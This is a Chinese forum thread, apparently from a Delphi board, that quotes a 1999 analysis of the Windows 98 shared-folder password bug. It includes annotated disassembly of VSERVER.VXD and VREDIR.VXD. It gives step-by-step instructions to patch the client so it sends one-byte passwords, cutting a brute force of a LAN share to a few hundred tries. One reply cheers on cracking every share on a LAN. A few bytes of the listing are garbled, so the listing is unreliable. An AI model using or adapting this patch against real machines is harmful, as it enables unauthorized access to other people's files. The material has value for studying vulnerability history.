谢谢zara(有种迷失的感觉),决定给你分!
解决方案 »
- 问下如何判断一个字符串在一个“集合”中
- 才发现Delph7中接口无法强制转化的问题,以及自己所作的分析,请各位高手斧正
- 请教高手,如何实现MSN主界面左上角的"隐藏/显示窗口框架"功能???
- 怎样把一个date型的数据update到dbf表中?
- delphi的excel输出不在同一个表中的问题,请赐教!谢谢
- 百思不得其解:在DELPHI中用TABLE和ADOTABLE连接服务器上的数据库的问题.
- 怎样向LPT口发送ESC/POS指令集呢?
- TForm的OnClose事件和OnDestroy事件有何区别?
- 各位高手,因半个汉字的错误怎么改呀?
- 关于数据库的问题,一个blob字段……
- //////////***********一个通常问题!************////////////
- 用delphi开发web应用程序,能象vb那样方便么?
你们知道袁哥吧,他的主页上有详细介绍,地址已经忘了
还能下载到两个.dll文件,覆盖后,局域网上98的共享全部都能破,最多按128次回车
很爽吧,可惜机上的那两个文件名字我也忘了
:-(
假设密码是6个英文字母
原来要用26*26*26*26*26*26=308915776次
现在利用漏洞
只要26+26+26+26+26+26=156次
用现在的机器当然是瞬间搞定啦!
如果计算所有ASCII字符也不过是255*6=1530次
原理在这里WINDOWS98共享目录密码校验BUG的分析
袁哥WINDOWS98的共享目录密码校验有BUG。下面是文件VSERVER。VXD中密码校验过程调用的有BUG的一段程序。
3647是判断客户端密码是不是输入没密码,这时密码项内容是0X20,空格。
不是就转 LOC-0444。
365A判断客户端通过网络通信发过来的加密后密码长度是0X18吗,一般都是。这转LOC-0447去把共享目录密码加密同网络通信过来的密码比较,通过TEST EAX,EAX设置ZF标记判断密码对不对。如果密码长度不是0X18,可能是别的什么方式的密码比较,这儿密码是明码没加密。再判断密码长度大于9不,共享密码长度是1-8个字母数字等。下面就是比较密码,后面的循环是以ECX密码长度和ZF标记为结束条件。显然这儿应该有BUG,这密码长度ECX应该是本声密码的长度,而这儿密码长度是网络通信发过来的数据。所以我发过来的数据是1就只比较了一个密码的最前面字节。如果这一字节对就ZF=0因ECX=0退出结果是校验密码成功。03647 loc_0442: ; xref 03635
03647 66| 83 3A 20 cmp word ptr [edx],20h ;THE SHARE PASSWORD
0364B 75 0D jne short loc_0444 ; Jump if not equal
0364D B8 08460002 mov eax,8460002h
03652 F9 stc ; Set carry flag
03653 C9 leave ; Procedure exit
03654 C3 retn
03655 loc_0443: ; xref 03640, 3645
03655 80 3F 00 cmp byte ptr [edi],0
03658 74 26 je short loc_0446; Jump if equal
0365A loc_0444: ; xref 0364B
0365A 83 F9 18 cmp ecx,18h ; THIS HAS BUG FOUND BY YRG 1999.1.15
0365D 74 24 je short loc_0447 ; Jump if equal
0365F 83 F9 09 cmp ecx,9
03662 77 1C ja short loc_0446 ; Jump if above
03664 F5 cmc ; Complement carry
03665 83 D9 00 sbb ecx,0
03668 51 push ecx
03669 53 push ebx
0366A 8B 1D 000137F4 mov ebx,dword ptr data_0461 ; (137F4=137FCh)
03670 8B F2 mov esi,edx
03672 2B C0 sub eax,eax
03674 4F dec edi03675 locloop_0445: ; xref 0367C
03675 47 inc edi
03676 AC lodsb ; String [si] to al
03677 8A 04 18 mov al,[eax][ebx]
0367A 3A 07 cmp al,[edi] ;BUG !!! I CAN SET ECX=1
0367C E1 F7 loopdz locloop_0445 ; Loop if zf=1, ecx>00367E 5B pop ebx
0367F 59 pop ecx
03680 loc_0446: ; xref 03658, 3662, 36A1
03680 鶩8 clc ; Clear carry flag
03681 C9 leave ; Procedure exit
03682 C3 retn
03683 loc_0447: ; xref 0365D
03683 81 EC 000000E4 sub esp,0E4h
03689 8B C4 mov eax,esp
0368B 60 pushad ; Save all regs
0368C ?2 push edx ; PARAMETER_4
0368D 50 push eax ; PARAMETER_3
0368E 8B 45 08 mov eax,dword ptr [ebp+PARAMETER_1]
03691 8B 40 24 mov eax,dword ptr [eax+24h]
03694 50 push eax ; PARAMETER_2
03695 57 push edi ; PARAMETER_1
03696 E8 000036A1 call sub_0054 ; (06D3C)
0369B 83 C4 10 add esp,10h
0369E 85 C0 test eax,eax
036A0 61 popad ; Restore all regs
036A1 EB DD jmp short loc_0446
好了,那就找客户端发密码的代码。下面是VREDIR。VXD的这段相关代码。
15FCE的18H就是前面的那比较18H的。这儿改成可以1。CALL SUB-0067是加密输入的密码的过程调用。15FEA 的EDX是指向输入的密码的指针。所以15FE9可以改成MOV AL,[EDX],
MOV [ECX],AL
JMP 15FF4 就可以。这样进入有密码的共享目录就可以用字母A-Z,数字0-9等试会很快的进入目录的。当然最好那儿自动这么变化那AL,免得每次还要输入可以加快速度。15FC8 8B 4D EC mov ecx,dword ptr [ebp-14h]
15FCB 8B 55 F4 mov edx,dword ptr [ebp-0Ch]
15FCE 66| C7 41 07 0018 mov word ptr [ecx+7],18h; PASSWORD LONG
15FD4 83 C1 07 add ecx,7
15FD7 83 C2 35 add edx,35h
15FDA 8B 45 F8 mov eax,dword ptr [ebp-8]
15FDD 83 C0 6C add eax,6Ch
15FE0 89 4D F0 mov dword ptr [ebp-10h],ecx
15FE3 8B 4D EC mov ecx,dword ptr [ebp-14h]
15FE6 83 C1 0B add ecx,0Bh
15FE9 51 push ecx ;LOCKED PASSWORD SET HERE
15FEA 52 push edx ;PASSWORD POINTER
15FEB 50 push eax
15FEC E8 FFFF0EC5 call sub_0067 ; LOCK THE PASSWORD ; (06EB6)
15FF1 83 C4 0C add esp,0Ch
15FF4 EB 71 jmp short loc_1765
原理不是都给你帖出来了吗,你还要怎样啊? 原理在哪里??
你好象没有回答!
http://www.vckbase.com/vckbase/vckbase11%5Cvc%5Cnonctrls%5Cnetwork_23/1123001.htm